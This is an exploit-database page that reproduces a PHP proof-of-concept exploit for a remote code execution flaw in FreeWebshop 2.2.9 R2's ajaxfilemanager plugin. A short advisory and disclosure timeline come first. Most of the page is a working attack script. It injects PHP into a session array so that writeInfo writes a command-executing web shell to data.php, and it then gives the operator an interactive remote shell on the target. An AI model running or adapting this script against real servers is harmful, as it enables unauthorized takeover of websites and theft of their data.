Lucene search
K

FreeWebshop <= 2.2.9 R2 (ajax_save_name.php) Remote Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 37 Views

FreeWebshop <= 2.2.9 R2 Remote Code Executio

Code

                                                &#60;?php

/*
    --------------------------------------------------------------------------
    FreeWebshop &#60;= 2.2.9 R2 (ajax_save_name.php) Remote Code Execution Exploit
    --------------------------------------------------------------------------
    
    author.............: Egidio Romano aka EgiX
    mail...............: n0b0d13s[at]gmail[dot]com
    software link......: http://www.freewebshop.org/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php
    
    37.            @ob_start();
    38.            include_once(CLASS_SESSION_ACTION);
    39.            $sessionAction = new SessionAction();        
    40.            $selectedDocuments = $sessionAction-&#62;get();
    41.            if(removeTrailingSlash($sessionAction-&#62;getFolder()) == getParentPath($_POST[&#39;id&#39;]) && sizeof($selectedDocuments))
    42.            {
    43.                if(($key = array_search(basename($_POST[&#39;id&#39;]), $selectedDocuments)) !== false)
    44.                {
    45.                    $selectedDocuments[$key] = $_POST[&#39;value&#39;];
    46.                    $sessionAction-&#62;set($selectedDocuments);
    47.                    
    48.                }
    49.                echo basename($_POST[&#39;id&#39;]) . &#34;\n&#34;;
    50.                displayArray($selectedDocuments);
    51.                
    52.            }elseif(removeTrailingSlash($sessionAction-&#62;getFolder()) == removeTrailingSlash($_POST[&#39;id&#39;]))
    53.            {
    54.                $sessionAction-&#62;setFolder($_POST[&#39;id&#39;]);
    55.            }
    56.            writeInfo(ob_get_clean());
    
    An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50,
    then at line 56 is called the &#39;writeInfo&#39; function using the current buffer contents as argument.
    Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function
    writes into a file called &#39;data.php&#39; so an attacker could be able to execute arbitrary PHP code.

    [-] Disclosure timeline:
    
    [24/10/2011] - Vulnerability discovered
    [25/10/2011] - Issue reported to http://www.freewebshop.org/forum/?topic=5235
    [15/11/2011] - After three weeks still no fix released
    [16/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( &#34;\n[-] No response from {$host}:80\n&#34;);

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

function random_mkdir()
{
    global $host, $path;
    
    $dirname = uniqid();
    
    $payload = &#34;new_folder={$dirname}&currentFolderPath=../../../up/&#34;;
    $packet  = &#34;POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n&#34;;
    $packet .= &#34;Host: {$host}\r\n&#34;;
    $packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
    $packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    $packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;
    
    http_send($host, $packet);    
    return $dirname;
}

print &#34;\n+---------------------------------------------------------------+&#34;;
print &#34;\n| FreeWebshop &#60;= 2.2.9 R2 Remote Code Execution Exploit by EgiX |&#34;;
print &#34;\n+---------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost /&#34;;
    print &#34;\nExample....: php $argv[0] localhost /freewebshop/\n&#34;;
    die();
}

$host = $argv[1];
$path = $argv[2];

$phpcode = &#34;&#60;?php error_reporting(0);print(___);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?&#62;&#34;;

$payload = &#34;selectedDoc[]={$phpcode}&currentFolderPath=../../../up/&#34;;
$packet  = &#34;POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_file_cut.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;

if (!preg_match(&#34;/Set-Cookie: ([^;]*);/&#34;, http_send($host, $packet), $sid)) die(&#34;\n[-] Session ID not found!\n&#34;);

$dirname = random_mkdir();
$newname = uniqid();

$payload = &#34;value={$newname}&id=../../../up/{$dirname}&#34;;
$packet  = &#34;POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: {$sid[1]}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;

http_send($host, $packet);

$packet  = &#34;GET {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
    print &#34;\nfreewebshop-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match(&#34;/___(.*)/s&#34;, $response, $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}

?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation